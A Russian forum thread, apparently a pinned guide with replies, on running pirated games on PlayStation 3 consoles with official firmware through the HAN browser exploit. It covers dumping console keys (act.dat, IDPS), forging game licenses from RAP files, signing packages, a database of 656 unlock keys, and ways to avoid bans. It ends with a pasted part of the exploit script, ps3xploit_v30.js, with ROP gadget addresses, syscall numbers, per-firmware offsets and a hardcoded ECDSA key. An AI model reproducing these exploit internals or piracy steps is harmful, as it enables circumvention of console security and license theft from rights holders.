Прежде, чем задавать вопрос, воспользуйтесь поиском по теме. Вполне возможно, что такой же вопрос в теме уже задавался неоднократно и скорее всего, кто-то уже давал исчерпывающий ответ. Для этого воспользуйтесь данной кнопкой справа над первым сообщением в любой теме:
Требуется установить прошивку: 4.84 [HFW]. Подходит для всех консолей, в том числе "непрошиваемых" (Slim, SuperSlim)
Отличия HAN от CFW:
Необходимо перед установкой игр запускать эксплоит
Если у Вас 4.84 распакуйте han_supportfiles-484.zip в корень флешки. В архив han_supportfiles-484.zip уже включена русификация, измененное игровое меню.
Почистите браузер на PS3. Установите домашнюю страницу на страницу эксплоита, который инициализируете, закройте браузер. Покружите по XMB как показано на видео
Примечание: HAN init надо делать один раз. Как только PS3 загрузится проверьте раздел XMB Game/Игра и увидите новые пункты Package Manager. Удалить эти пункты можно только поставив OFW прошивку сверху еще раз.
Примечание: act.dat и idps.hex также достаточно снять 1 раз (подробнее далее).
Рекомендуется выключить подтверждение закрытия браузера. Для этого в браузере выполните:
⇒ Tools ⇒ Confirm Browser Close ⇒ Off
Для сетевого соединения рекомендуется использовать проводное соединение - скорость выше в разы по сравнению с wi-fi.
После установки HAN можете устанавливать PS3HEN (включение самоподписанных приложений на непрошивайках). По возможностям это почти CFW, так что остальные закладки данной темы уже история.
Обязательно скопируйте файлы из соответствующего архива (han_supportfiles-482.zip или han_supportfiles-484.zip) в корень флешки и вставьте флешку в правый порт usb (Если нужен левый порт, на странице выбираем USB-001)
Запустите батник из архиваserv-hfs.bat (другой батник на всякий случай). Запуститься сервер (иконка внизу)
Запустите браузер, нажмите . Зайдите на PS3 по адресу выданным сервером.
Почистите браузер на PS3. Установите домашнюю страницу на страницу эксплоита, закройте браузер. Покружите по XMB
Инициализируйте эксплоит:
После успеха перегрузите PS3. В меню игры появиться новый пункт, через который можно устанавливать *.pkg файлы.
Советы по использованию:
Попробуйте использовать подключение к локальной сети через LAN/Ethernet или хорошее соединение WiFi во время эксплуатации. Слабый сигнал может вызвать проблемы.
Если вы используете подключение к локальной сети и испытываете сетевые проблемы, убедитесь, что все кабели подключены к рутеру в рабочем состоянии.
Некоторым помогает также сброс к заводским настройкам и форматирование HDD.
Вставляем в PS3 флешку формата FAT32 MBR (отформатируйте например этим)
Зайдите на PS3 по адресу выданным сервером (локальный IP) и инициализируйте эксплоит (Initialize ACT/IDPS Dumper)
Сохраняем файлы на флешку (Dump ACT.DAT & IDPS) вставленную в usb000 (правый порт - по умолчанию) или usb001 (левый порт). Указанный параметр можно изменить через страницу указанную выше в переменной "Dump path").
Дамп IDPS и ACT DAT 4 82
Вставьте в PS3 флешку, либо внешний HDD, отформатированный в FAT32.
Теперь зайдите на PS3 в "Настройки системы ⇒ Утилита резервного копирования" и создайте резервную копию. Об утилите резервного копирования
Скачиваем PKG игры из PSN, через сайт PSNDLv2 или PSNDLv3, либо через программу для ПК PSN Stuff. Перемещаем скаченный pkg в папку с программой MPHT (Make Pkg Han Tools).
Копируем act.dat и idps.hex в папку c программой MPHT (где их взять см. п.1.3).
Запускаем MAKE PKG и выбираем "Создать RIF"
Либо можно сделать базу всех известных RIF через пункт 8 подпункт 8: Распаковать базу *.rap и создать RIF. (процесс не быстрый)
По завершении вы найдёте в папке файл PKG с упакованным(и) шифрованными RIF и act.dat.
На PS3 выбираем пользователя, которого создали специально для этого. В PSN не входим!
Включаем HAN Enabler для установки PKG с помощью локального сервера или через сайт или через HAN Toolbox Mod
Debug и HAN конфликтуют между собой, поэтому перегружайтесь.
Подробнее в п.3
Установка с внешнего носителя (FAT32):
Копируем игру на внешний носитель отформатированный в FAT32 (флешка или внешний HDD)
Устанавливаем *.pkg от большого к маленькому через пункт Package Manager - Install Package Files - Standart в XMB и играем. (Для некоторых игр где патч больше игры сначала ставим игру, потом патч). Рекомендуется подписывать pkg и ставить через обычный HAN Enabler.
Установка через сеть
Настраиваем связь между пс3 и пк (подробнее в инструкции). Альтернатива по настройке сети также есть в шапке (п.п.1.2.1.3)
Положите нужные pkg рядом с make_pkg.exe
Запустите make_pkg.exe, выберите пункт про server (сервер) (п.7)
Создастся pakage_list.pkg и запуститься hfs (сервер) в трее.
Устанавливаем с внешнего носителя (см.выше) pakage_list.pkg в режиме HAN или Debug (в зависимости от того, стоит галка в настройках MPHT или нет)
Для обновления списка в XMB: меняем на другого пользователя и обратно выбираем изначального пользователя, либо перегружаем PS3 и включаем режим нужный для установки pkg (зависит подписан пкг или нет)
На PS3 в меню установка с локального сервера будет список pkg, которые можно установить (тут может быть в нескольких меню: Install from Webserver и другие пункты)
В дальнейшем, если нужно обновить список: запускаем make_pkg, выбрав последний пункт (п.7) и можно обновлять список прямо с PS3 (пункт "Обновить лист")
Играем!
Внимание!
Это вторая часть инструкции от этой темы: Запуск пираток на PS3 OFW
Прежде, чем приступать к выполнению данной инструкции, вам необходимо выполнить "Шаг 1" из первой части мануала.
И желательно тщательно ознакомится со всеми премудростями конвертирования, то есть, ознакомится и попрактиковаться со всеми шагами прежней инструкции.
Риск бана в ПСН для дисковых игр минимален, однако 100% гарантий никто не даст. Учтите что это не распространяется на весь дополнительный контент (ДЛС и прочее) который вы будете ставить к игре, поэтому если он взят из псн - бан 100%. Следовательно источник всего контента только дисковый должен быть.
Скачиваем игры из темы: Прямое скачивание [OFW] PS3 игр. Либо из другого источника и конвертируем сами по методу из этой темы. (Для начала убедитесь, присутствуют ли в патче к игре, которую вы собрались конвертировать, всякие системные файлы форматов BIN/SELF/SPRX - они имеют SCE заголовок (подробнее здесь). Если в патче нет этих системных файлов, то игра не запуститься (либо что-то не будет работать))
Скачиваем MAKE_PKG_HAN_TOOLS (далее MPHT) с Github пакет (сделан нашей командой)
Запаковываем их в PKG с помощью п.1 или 2 MPHT (п.1 - неподписанные *.pkg, п.2 - подписанные *.pkg)
После запуска терпеливо ждем пока программа обработает директории (если ошибок в консоли нет, значит он работает)
На PS3 включаем HAN Enable для установки подписанного pkg и Debug для не подписанного pkg с помощью сервера или через сайт или через HAN Toolbox Mod.
Debug и HAN конфликтуют между собой, поэтому перегружайтесь.
Подробнее в п.3
Установка с внешнего носителя (FAT32):
Копируем игру на внешний носитель отформатированный в FAT32 (флешка или внешний HDD)
Устанавливаем пкг от большого к маленькому через пункт Package Manager - Install Package Files - Standart в XMB и играем. (Для некоторых игр где патч больше игры сначала ставим игру, потом патч). Рекомендуется подписывать pkg и ставить через обычный HAN Enabler.
Установка через сеть
Настраиваем связь между пс3 и пк (подробнее в инструкции - закладка подключение). Альтернатива по настройке сети также есть в шапке (п.п.1.2.1.3)
Положите нужные pkg рядом с make_pkg.exe
Запустите make_pkg.exe, выберите пункт про server (сервер) (п.7)
Создастся pakage_list.pkg и запуститься hfs (сервер) в трее.
Устанавливаем с внешнего носителя (см.выше) pakage_list.pkg в режиме HAN или Debug (в зависимости от того, стоит галка в настройках MPHT или нет)
Для обновления списка в XMB: меняем на другого пользователя и обратно выбираем изначального пользователя, либо перегружаешь PS3, влючаешь режим нужный для установки pkg (зависит подписан пкг или нет)
На PS3 в меню установка с локального сервера будет список pkg, которые можно установить (тут может быть в нескольких меню: Install from Webserver и другие пункты)
В дальнейшем, если нужно обновить список: запускаем make_pkg, выбрав последний пункт (п.7) и можно обновлять список прямо с PS3 (пункт "Обновить лист")
После установки дисковых игр HAN активировать для запуска дисковых игр не нужно (это нужно только для PSN игр).
ВНИМАНИЕ В ТАКИЕ ИГРЫ НЕЛЬЗЯ ИГРАТЬ ОНЛАЙН - ПОЛУЧИТЕ БАН! Запуск C00 игр из PSN без конвертации
В PSNStuff+ загружаем базу данных игр PSN db_C00 (игры рабочие и протестированы), скачиваем любую понравившуюся игру и устанавливаем на PS3, они будут разлочены до FULL-версии готовыми ключами лицензий ⇒ по инструкции ниже...
База данных db_C00 для PSNStuff+ с 656 ключами активации к играм и DLC формата C00: C00_EDAT_UNLOCKS.7z | Зеркало
Ключи активации/разблокировки упакованы в PKG четырёх видов по версии лицензии (обычно используются EDATs version 1):
Устанавливаем понравившийся UNLOCK PKG через "Install PKG Files", все 656 лицензий распакуются в папку dev_hdd0/home/0000000Х/exdata. Можно конечно извлечь только нужную лицензию с помощью PS3PKG GUI (входит в состав "PS3 Tools Collection").
ВНИМАНИЕ В ТАКИЕ ИГРЫ НЕЛЬЗЯ ИГРАТЬ ОНЛАЙН - ПОЛУЧИТЕ БАН! Данный способ являться альтернативным и представлен здесь для понимания что это за страница в эксплойте.
Перетаскиваем файл *.rap (например EP0001-BLET70013_00-ACBROTHERHOOD00B.rap ) на ps3xploit_rifgen_edatresign.exe, чтобы получить rif.
Он также может подписывать PKG, ENC, edat, config для ps2.
Забираем подписанный rif и signed_act.dat
Переименовываем signed_act.dat в act.dat. Копируем вместе с файлом rif на usb000
Выбираем пользователя которого создали специально для этого. В PSN не входим!
Инициализируем "PS3 ACT/RIF Copier" с помощью локального сервера или через сайт:
Создать неподписанный pkg (для установки в режиме Debug Han)
Создать подписанный pkg (для установки в режиме HAN)
Создать *.rif файлы из необходимых файлов и упаковать в пкг (для PSN игр). Умеет на основе *.pkg находить rap файлы из базы (положите *.pkg рядом).
Попробовать пофиксить CFW игру (PSN версию) - при наличии патча к игре. Дисковые игры можно попробовать пофиксить через п.5, также при наличии патча к игре.
Меню конвертации позволяет: Сконвертировать дисковую игру из ISO или из папки, переподписать DLC и другое. Опция сама находит и качает патчи (при наличии). Проверяет есть ли в патче системные файлы, которые есть в игре. Есть возможность просто проверить есть ли патч.
Просто подписать pkg
Создать Package_List.pkg (список всех pkg рядом) и запустить локальный сервер HFS с необходимыми файлами для установки пкг с сервера (Небольшое пояснение по этому пункту)
Выйти.
Примечание: пробелы, кирилица и другие спецсимволы в путях недопустимы.
Примечание 2: Перед установкой нового Package_List.pkg зайдите в Раздел игра ⇒ утилита управления данными игры ⇒ Package Linker Data и удалите старые данные. (Иначе из меню пропадут пункты меню).
Небольшая надстройка в меню, позволяет качать игры из psnstuff. Однако, для активации игр вам все еще надо будет установить пакет из act.dat и *.rif файла к этой игре. Проверяйте *.rap файл - он должен содержать 16 байт (если он "кривой" игра не активируется).
Рекомендуется соединение по проводу (wi fi очень долго)
Обновите ресурсы для Toolbox через меню PS3 для иконок и картинок в "дополнительных возможностях - опции toolbox"
Дополнительно про удаление игр:
На PS3 в HAN Toolbox ⇒ File Explorer ⇒ dev_hdd0 ⇒ game ⇒ папка с игрой (Title_ID) ⇒ на контроллере жмите ⇒ Unlink(Folder) (процесс занимает время, ждите)
После можете сделать ребилд базы данных (либо стандартными средствами, либо через меню HAN Toolbox) Еще модификации:
Удалите данные toolbox из меню "утилита управления данными игры", установите свежий тулбокс (обычно этого хватает)
Если все еще не видно: скачайте файлы и переустановите HAN Installer, установите тулбокс
Дополнительно про удаление игр:
На PS3 в HAN Toolbox->File Explorer ⇒ dev_hdd0 ⇒ game ⇒ папка с игрой (Title_ID) ⇒ на контроллере жмите ⇒ Unlink(Folder) (процесс занимает время, ждите)
После можете сделать ребилд базы данных (либо стандартными средствами, либо через меню HAN Toolbox)
Альтернативные программы/моды для умеющих работать с ними.
PKG Linker (источник). Программа для установки файлов по сети. PKG Linker не рекомендуется к использованию, поскольку юзеры постоянно сталкиваются с ошибками. Представлена здесь как альтернатива, поскольку п.7 в MPHT тоже запускает сервер (hfs).
Примечание: если pkg linker вылетает при запуске или при сканировании, положите *.pkg файлы в папку \unsigned и через setup подпишите. Можете воспользоваться альтернативой через MAKE_PKG_HAN_TOOLS.и Также снимите на pkg файле аттрибут "только чтение".
Для работы программы нужны vc redist 15 или 17.
404: Сервер запущен, но ссылка ведет в никуда (файл не существует и тп). Также может быть если занят 80 порт - освобождайте от программ которые его занимают (См. другие закладки).
400: Попробуйте сменить порт.
80010017: Невалидная подпись ECDSA экзешника EBOOT.BIN, утраченная в результате переподписи под CFW.
Если проблема связана с блокировкой РКН - попробуйте альтернативные ДНС которые вы найдете тут
Включите нужный режим HAN перед установкой pkg. MPHT делает подпись [HAN] или [Debug] при создании списка файлов через сеть (п.7), чтобы пользователь знал в каком режиме этот *.pkg устанавливать.
Подписанные PKG устанавливаются через [HAN] Enabler. В этом режиме устанавливаются только подписанные pkg c помощью ps3xploit_rifgen_edatresign.exe (указанная программа включена в MPHT).
Неподписанные PKG устанавливаются через [Debug] PKG Enabler.
Если при установке через сеть выдает предупреждение, что нужно установить программное обеспечение - это нормально, оно будет ставить pkg, после того как вы нажмете "ДА". (При необходимости обновить прошивку оно будет просить установить системное программное обеспечение)
Существует 3 вида архивов :
Официальные Retail (подписанные Sony) - игры и DLC из PSN, ставятся без активации HAN или Debug.
Самопальные Retail (подписанные юзером PKG) - ставятся только из режима HAN Enabler.
Самопальные Debug (НЕ подписанные юзером PKG) - ставятся только из режима HAN Debug PKG Enabler.
Это такой вид архивов для PS3, в которые пакуются папки игр, приложений и дополнений DLC, впоследствии распаковываемые на консоли по указанному в PKG пути вместе со структурой всех вложенных файлов и папок.
Официальные подписанные (RETAIL) архивы PKG от Sony понимает консоль PS3 с любой прошивкой, официальной или кастомной, даже HAN, но без активации какого-либо специального режима.
Самопальные подписанные (RETAIL) архивы PKG могут быть подписаны только под HAN. Они шифруются специальным статичным паролем ECDSA, для последующей расшифровкой таким же статичным паролем ECDSA, встроенным в HAN. К сведению, обычная официальная прошивка дешифрует такие архивы нестатичным и асинхронным паролем ECDSA, т.е. пароль явно не указан и состоит их двух половинок, правой и левой, и он генерируется асинхронно на основе неизвестных пока хакерам данных, поэтому, самопальные архивы могут быть расшифрованны только при активации режима HAN статичным синхронным паролем, заранее забитым в HAN, для последующей расшифровки самопальных архивов PKG, шифрованных тем же паролем с помощью специальной утилиты ps3xploit_rifgen_edatresign.exe.
Самопальные неподписанные (DEBUG) архивы PKG могут быть распакованы только при активации режима HAN Debug PKG Enabler, т.к. только этот режим понимает такой вид архивов PKG.
Чем отличаются подписанные PKG и неподписанные PKG?
Первое, что нужно вам знать - это то, что подпись или неподпись архива PKG никоим образом не имеет отношения к подписи или неподписи самого содержимого PKG, игры или чего-либо, упакованного в PKG. После извлечения одного и того же содержимого PKG из подписанного вида или неподписанного вида, у вас распакуется одно и то же содержимое.
Это можно сравнить, как на компьютере обычные архивы WinRAR и запароленные архивы 7-Zip.
Если вы упакуете что-либо в обычный архив WinRAR и упакуете то же самое в запароленный архив 7-Zip с паролем, то после распаковки обоих видов архивов, вы на выходе получите одно и то же содержимое, независимо от того, была ли упакована в архив PKG конвертированная под OFW игра или переподписанная под CFW. Поэтому, не стоит задавать в теме глупые или маразматические вопросы по типу:
"В чём дело, установил подписанный PKG, но игра после этого не работает?"
"Установил в режиме Debug неподписанный PKG, теперь игра запускается и работает, но почему-то после запуска зависает на чёрном экране. Может быть надо было подписать PKG?"
"Ребят, я скачал с торрента игру и подписал PKG с игрой 'The Last of Us', на подписывание ушло много времени, но всё равно игра не работает, то же самое до этого было с неподписанным PKG. Что я делаю не так?"
Мой вам совет - не тупите! Подписывание или неподписывание архива PKG никак не влияет на возможность запуска игры. Оно влияет только на установку (распаковку архивов PKG на консоль) в том или ином совместимом режиме. Удобнее подписывать PKG тех игр, которые требуют для запуска режим HAN Enabler, т.к. подписанные PKG так же устанавливаются в этом же режиме HAN Enabler и после установки нет необходимости смены режима запуска и соответственно перезагрузки консоли. Это касается игр, которые имеют пароль дешифровки RAP - это все игры PSN, а так же игры PS1/PS2/PSP.
Причём, на консоли PS3, один режим понимает только один формат архива PKG, но не понимает другой формат архива PKG. Например, режим HAN Enabler понимает только архивы PKG в подписанном виде, то есть RETAIL, у которых всё содержимое архива зашифровано специальным паролем и этот пароль хранится в самом PKG, а дешифровать такие архивы умеет только HAN Enabler, который умеет доставать пароль из PKG и дешифровать содержимое.
Соответственно, режим HAN Debug PKG Enabler не умеет распаковывать подписанные (RETAIL) архивы PKG, но умеет распаковывать только не подписанные (DEBUG) архивы PKG.
Проверьте источник для конвертации. Если дисковый источник - удостоверьтесь что все исполняемые файлы есть в патче (BIN/SELF/SPRX - они имеют SCE заголовок (подробнее здесь)
Если просит активацию - установите подписанный pkg содержащий файлы act.dat и подписанный *.rif (см.п.2.1) либо пройдите активацию с помощью п.2.3. Проверьте оригинал *.rap - он должен содержать 16 байт
80010017 - не была установлена лицензия. Посмотрите *.pkg, там должен быть файл lic.edat в директории LICDAT. Попробуйте установить дебаг pkg (не подписанный)
Черный экран при запуске - попробуйте удалить патч через меню и установить его снова через меню пс3.
Если не дает установить официальные обновления - просто перегрузите консоль (мешает HAN)
Если все равно не дает - в данных игры на пс3 нужно удалить все что связано игрой.
PS3 Han exploit initialization failed PS3 SuperSlim как установить пиратку 80010017
Видеогайды по данной теме: ВЗЛОМ PS3 Super Slim 4.84 | Установка HAN xploit make pkg han tool Х А Н - Запуск официальных игр на плейстейшн три PS3 SuperSlim пиратки Русификация игр с PS3 CFW на PS3 OFW (HAN)
Densik102.
1)Все игры которые ты устанавливал делятся на 2 категории.
а)Дисковые- работают на всех пользователях.(Так-же не требуют rap)
б)psn- работает только на том чей act.dat был использован.
2)Скачай rap с psnstuff и установи его.
У меня такой прикол на купленной приставке были игры PSN большинство требовало продлить подписку.Поставил ХАН. Посже После проблемы со сворачиванием папок я заходил во все аккаунты что были на приставке и все эти игры из ПСН запускались со всех Аков.
Без подсветки - все файлы идентичны и значит не подвергались какому-либо изменению.
Нас же интересуют в папке vsh -> module файлы браузера silk_webkit.elf и silk_wk.elf, которые изменились на 4.83, но на 4.84 их не трогали, так что ничего там под 4.84 править не надо.
Ну а что там стоит переместить эксплоит HAN с 4.82 на 4.84 - всего-лишь поменять старые смещения на новые, которые просто сдвинулись на новых прошивках. И всё, можно радоваться HAN-у на 4.84.
Прошу любить и жаловать, Ваш Добро пожаловать в наш Чат в Telegram
Padre12, а что ты смотрел? У тебя есть дамп консоли 4.82? А может быть есть дамп 4.84?
Было бы так, я бы тогда за 5 минут сделал бы эксплоит для 4.84
А про нечётные числа, так это же логично, что все подсчёты идут парами чисел - это один байт, а все смещения считаются по 2 пары байт .
И почти в любой программе идёт выравнивание кода по 0x10, если кто не знает, то это 16 байт
Вот я уже сделал эксплоит за пару минут под 4.83 и 4.84, там осталось только некоторые смещения подправить:
ps3xploit_v30.js
var debug=false;
var explore_plugin_usb='/explore_plugin.sprx';
var explore_plugin_blind='/dev_blind/vsh/module/explore_plugin.sprx';
var explore_plugin_fsize=0x18CD85;
var explore_pluginrco_usb='/explore_plugin_full.rco';
var explore_pluginrco_blind='/dev_blind/vsh/resource/explore_plugin_full.rco';
var explore_pluginrco_fsize=0x227ED0;
var explore_pluginrco2_usb='/explore_category_game.rco';
var explore_pluginrco2_blind='/dev_blind/vsh/resource/explore_category_game.rco';
var explore_pluginrco2_fsize=0x3A6F4;
var category_game_usb='/category_game.xml';
var category_game_blind='/dev_blind/vsh/resource/explore/xmb/category_game.xml';
var category_game_fsize=0x8F77;
var videoplayer_plugin_usb='/videoplayer_plugin.sprx';
var videoplayer_plugin_blind='/dev_blind/vsh/module/videoplayer_plugin.sprx';
var videoplayer_plugin_fsize=0x1C166A;
var ps3xploit_ecdsa_key='948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773';
var index_key='DA7D4B5E499A4F53B1C1A14A7484443B';
var f_turnoff='/dev_hdd0/tmp/turnoff';
var idps='idps.hex';
var act='act.dat';
var start_x='xxxx';
var mount_path='/dev_blind';
var flash_partition='xxxxCELL_FS_IOS:BUILTIN_FLSH1';
var filesystem='CELL_FS_FAT';
var actdat='/dev_hdd0/home/%08u/exdata/act.dat';
var userid='/setting/user/lastLoginUserId';
var rif_name_len=0x28;
var idps_len=0x10;
var act_fsize=0x1038;
var rif_fsize=0x98;
var offset_array=[];
var br="<br>";
var hr="<hr>";
var t_out=0;
var search_base_off=0x0;//0x90000;//0x100000;
var search_size_ext=0x0;
var gtemp_addr=0x8D000000;
var total_loops=0;
var max_loops=20;
var frame_fails=0;
var sp_exit=0x8FD8DCC0;
var da_func=0x5007;
var da_addr_val=0x3F;
var da_addr_val2=0x46;
var ffs=0xFFFFFFFF;
var dbyte41=0x4141;
var dbyte00=0x0000;
var byte_size=0x1;
var hword_size=0x2;
var word_size=0x4;
var dword_size=0x8;
var mbytes=0x100000;
var store_idx_arr1;
var store_idx_arr2;
var f_off_start=0x0;
var f_off=0x0;
var ppu_kalloc_id=0x111;
var ppu_kalloc_sz=0x64;
var hard_reboot=0x1200;
var sc_sm_shutdown=0x17B;
var sc_sso=0x258;
var sc_ssr=0x25A;
var sc_ssc=0x259;
var sc_proc_spawn=0x1B;
var sc_container_create=0x144;
var sc_container_destroy=0x145;
var sc_ppu_kernel_alloc=0x37;
var sc_disc_authoring=0x360;
var sc_fs_open=0x321;
var sc_fs_read=0x322;
var sc_fs_write=0x323;
var sc_fs_unlink=0x32E;
var sc_fs_close=0x324;
var sc_fs_stat=0x328;
var sc_fs_umount=0x345;
var fs_flag_readonly=0x0;
var fs_flag_create=0x241;
var fs_flag_create_append=0x441;
var fs_mode=0x1B6;
var stat_size_offset=0x28;
var toc_addr=0;
var vsh_opd_addr=0;
var vsh_opd_patch=0;
var vsh_toc_addr_screenshot=0;
var vsh_ps3xploit_key_toc=0;
var default_vsh_pub_toc=0;
var toc_entry1_addr=0;
var toc_entry2_addr=0;
var toc_entry3_addr=0;
var toc_entry4_addr=0;
var toc_entry5_addr=0;
var toc_entry6_addr=0;
var gadget1_addr=0;
var gadget2_addr=0;
var gadget3_addr=0;
var gadget4_addr=0;
var gadget5_addr=0;
var gadget6_addr=0;
var gadget7_addr=0;
var gadget8_addr=0;
var gadget9_addr=0;
var gadget10_addr=0;
var gadget11_addr=0;
var gadget12_addr=0;
var gadget13_addr=0;
var gadget14_addr=0;
var gadget15_addr=0;
var gadget_mod1_addr=0;
var gadget_mod2_addr=0;
var gadget_mod3_addr=0;
var gadget_mod4a_addr=0;
var gadget_mod4b_addr=0;
var gadget_mod4c_addr=0;
var gadget_mod5_addr=0;
var gadget_mod6_addr=0;
var gadget_mod7_addr=0;
var gadget_mod8_addr=0;
var gadget_mod9_addr=0;
var gadget_mod10_addr=0;
var gadget_mod11_addr=0;
var gadget_mod12_addr=0;
var gadget_mod13_addr=0;
var gadget_mod14_addr=0;
var gadget_mod15_addr=0;
var gadget_mod16_addr=0;
var xtra_data;var stack_frame;var jump_2;var jump_1;var xtra_data_addr;var stack_frame_addr;var jump_2_addr;var jump_1_addr;
var fail_msg_frag=hr+"<h1><b>Exploit Initialization FAILED!</h1><h2><span style='color:#000000;'><a href=\"javascript:window.location.reload();\">Refresh this page</a> & try again...</span></b></h2>";
var progress_msg_frag1=hr+"<h1><b>Exploit Initialization..."+br+"<span style='color:#000000;'>Progress: ";
var progress_msg_frag2='%, please wait...</span></b></h1>';
//DEX 4.81
var toc_addr_481_d = 0x705610;
var vsh_opd_addr_481_d=0x6FBC28;
var vsh_opd_patch_481_d=0x096E14;
var vsh_toc_addr_screenshot_481_d=0x730ADC;
var vsh_ps3xploit_key_toc_481_d=0x717CA4;
var default_vsh_pub_toc_481_d=0x6FD664;
var toc_entry1_addr_481_d=0x6EA4B8;
var toc_entry2_addr_481_d=0x735F98;//idps
var toc_entry3_addr_481_d=0x6EA4B0;
var toc_entry4_addr_481_d=0x750000;
var toc_entry5_addr_481_d=0x6FB780;
var toc_entry6_addr_481_d=0x0;
var gadget1_addr_481_d=0x0976BC;
var gadget2_addr_481_d=0x6112C4;
var gadget3_addr_481_d=0x0DA5A8;
var gadget4_addr_481_d=0x231120;
var gadget5_addr_481_d=0x1329D8;
var gadget6_addr_481_d=0x61CEBC;// old 0x639648 //malloc
var gadget7_addr_481_d=0x020084;//memset
var gadget8_addr_481_d=0x0200B4;//memcpy
var gadget9_addr_481_d=0x029BBC;
var gadget10_addr_481_d=0x635204;////addi 0xC0
var gadget11_addr_481_d=0x5A1CA0;
var gadget12_addr_481_d=0x0CD640; //reboot prep sub
var gadget13_addr_481_d=0x496198;// old 0x48E5A4 //free
var gadget14_addr_481_d=0x494390;
var gadget15_addr_481_d=0x491878;
var gadget_mod1_addr_481_d=0x6161B8;
var gadget_mod2_addr_481_d=0x013B74;
var gadget_mod3_addr_481_d=0x0B8EB8;
var gadget_mod4a_addr_481_d=0x0DEBD8;
var gadget_mod4b_addr_481_d=0x434368;
var gadget_mod4c_addr_481_d=0x054BA8;
var gadget_mod5_addr_481_d=0x42B4CC;
var gadget_mod6_addr_481_d=0x020CB4;
var gadget_mod7_addr_481_d=0x01A6AC;
var gadget_mod8_addr_481_d=0x2C24DC;
var gadget_mod9_addr_481_d=0x010B20;
var gadget_mod10_addr_481_d=0x1CD0B8;
var gadget_mod11_addr_481_d=0x192190;
var gadget_mod12_addr_481_d=0x63A3DC;
var gadget_mod13_addr_481_d=0x33E480;
var gadget_mod14_addr_481_d=0x63AAE0;
var gadget_mod15_addr_481_d=0x3A4C28;
var gadget_mod16_addr_481_d=0x4FEF1C;
//VSH CEX 4.81
var toc_addr_481 = 0x6F5520;
var default_vsh_pub_toc_481=0x6ED574;
var vsh_opd_patch_481=0x096D5C;
var vsh_opd_addr_481=0x6EBB38;
var vsh_ps3xploit_key_toc_481=0x70733C;
var vsh_toc_addr_screenshot_481=0x72057C;
var toc_entry1_addr_481=0x6DA3D0;
var toc_entry2_addr_481=0x725608;
var toc_entry3_addr_481=0x6DA3C8;
var toc_entry4_addr_481=0x740000;
var toc_entry5_addr_481=0x6EB690;
var toc_entry6_addr_481=0x0;
var gadget1_addr_481=0x097604;
var gadget2_addr_481=0x6096A8;
var gadget3_addr_481=0x0D505C;
var gadget4_addr_481=0x229838;
var gadget5_addr_481=0x12BB1C;
var gadget6_addr_481=0x6152A0;//malloc
var gadget7_addr_481=0x01FFD0;//memset
var gadget8_addr_481=0x020000;//memcpy
var gadget9_addr_481=0x029B08;
var gadget10_addr_481=0x62D5E8;
var gadget11_addr_481=0x59A0AC;
var gadget12_addr_481=0x0C864C;
var gadget13_addr_481=0x48E5A0;//free
var gadget14_addr_481=0x48C79C;
var gadget15_addr_481=0x489C84;
var gadget_mod1_addr_481=0x60E59C;//
var gadget_mod2_addr_481=0x013B74;
var gadget_mod3_addr_481=0x0B8E00;
var gadget_mod4a_addr_481=0x0D9684;//
var gadget_mod4b_addr_481=0x42C774;//
var gadget_mod4c_addr_481=0x054AF0;
var gadget_mod5_addr_481=0x4238D8;
var gadget_mod6_addr_481=0x4E23F0;
var gadget_mod7_addr_481=0x01A6AC;
var gadget_mod8_addr_481=0x2BACB4;
var gadget_mod9_addr_481=0x010B20;
var gadget_mod10_addr_481=0x1C5794;
var gadget_mod11_addr_481=0x18B144;
var gadget_mod12_addr_481=0x6327C0;
var gadget_mod13_addr_481=0x33686C;
var gadget_mod14_addr_481=0x632EC4;
var gadget_mod15_addr_481=0x39D034;
var gadget_mod16_addr_481=0x4F7328;
//CEX 4.82
var toc_addr_482 = 0x6F5550;
var default_vsh_pub_toc_482=0x6ED5A4;
var vsh_opd_patch_482=0x96D5C;
var vsh_opd_addr_482=0x6EBB68;
var vsh_toc_addr_screenshot_482=0x72057C;
var vsh_ps3xploit_key_toc_482=0x707774;
var toc_entry1_addr_482=0x6DA3D0;
var toc_entry2_addr_482=0x725A38;//idps
var toc_entry3_addr_482=0x6DA3C8;
var toc_entry4_addr_482=0x740000;
var toc_entry5_addr_482=0x6EB6C0;
var toc_entry6_addr_482=0x0;
var gadget1_addr_482=0x097604;
var gadget2_addr_482=0x60A044;
var gadget3_addr_482=0x0D505C;
var gadget4_addr_482=0x229838;
var gadget5_addr_482=0x12BB1C;
var gadget6_addr_482=0x615C3C;//malloc
var gadget7_addr_482=0x01FFD0;//memset
var gadget8_addr_482=0x020000;//memcpy
var gadget9_addr_482=0x029B08;
var gadget10_addr_482=0x62DF84;
var gadget11_addr_482=0x59A4B0;
var gadget12_addr_482=0x0C864C;
var gadget13_addr_482=0x48E5A8;//free
var gadget14_addr_482=0x48C7A0;
var gadget15_addr_482=0x489C88;
var gadget_mod1_addr_482=0x60EF38;
var gadget_mod2_addr_482=0x013B74;
var gadget_mod3_addr_482=0x0B8E00;
var gadget_mod4a_addr_482=0x0D9684;
var gadget_mod4b_addr_482=0x42C778;
var gadget_mod4c_addr_482=0x054AF0; //load r5 word
var gadget_mod5_addr_482=0x4238DC;
var gadget_mod6_addr_482=0x020C00;
var gadget_mod7_addr_482=0x01A6AC;
var gadget_mod8_addr_482=0x2BACB8;
var gadget_mod9_addr_482=0x010B20;
var gadget_mod10_addr_482=0x1C5794;
var gadget_mod11_addr_482=0x18B144;
var gadget_mod12_addr_482=0x63315C; //validation gadget
var gadget_mod13_addr_482=0x336870; //store_r3 gadget
var gadget_mod14_addr_482=0x633860; //load r3 dword
var gadget_mod15_addr_482=0x39D038; //load r3 word
var gadget_mod16_addr_482=0x4F732C; //set toc
//CEX 4.83
var toc_addr_483 = 0x6F5550;
var default_vsh_pub_toc_483=0x6ED5A4;
var vsh_opd_patch_483=0x96D5C;
var vsh_opd_addr_483=0x6EBB68;
var vsh_toc_addr_screenshot_483=0x72057C;
var vsh_ps3xploit_key_toc_483=0x707774;
var toc_entry1_addr_483=0x6DA3D0;
var toc_entry2_addr_483=0x725A38;//idps
var toc_entry3_addr_483=0x6DA3C8;
var toc_entry4_addr_483=0x740000;
var toc_entry5_addr_483=0x6EB6C0;
var toc_entry6_addr_483=0x0;
var gadget1_addr_483=0x097604;
var gadget2_addr_483=0x60A044;
var gadget3_addr_483=0x0D505C;
var gadget4_addr_483=0x229838;
var gadget5_addr_483=0x12BB1C;
var gadget6_addr_483=0x615C3C;//malloc
var gadget7_addr_483=0x01FFD0;//memset
var gadget8_addr_483=0x020000;//memcpy
var gadget9_addr_483=0x029B08;
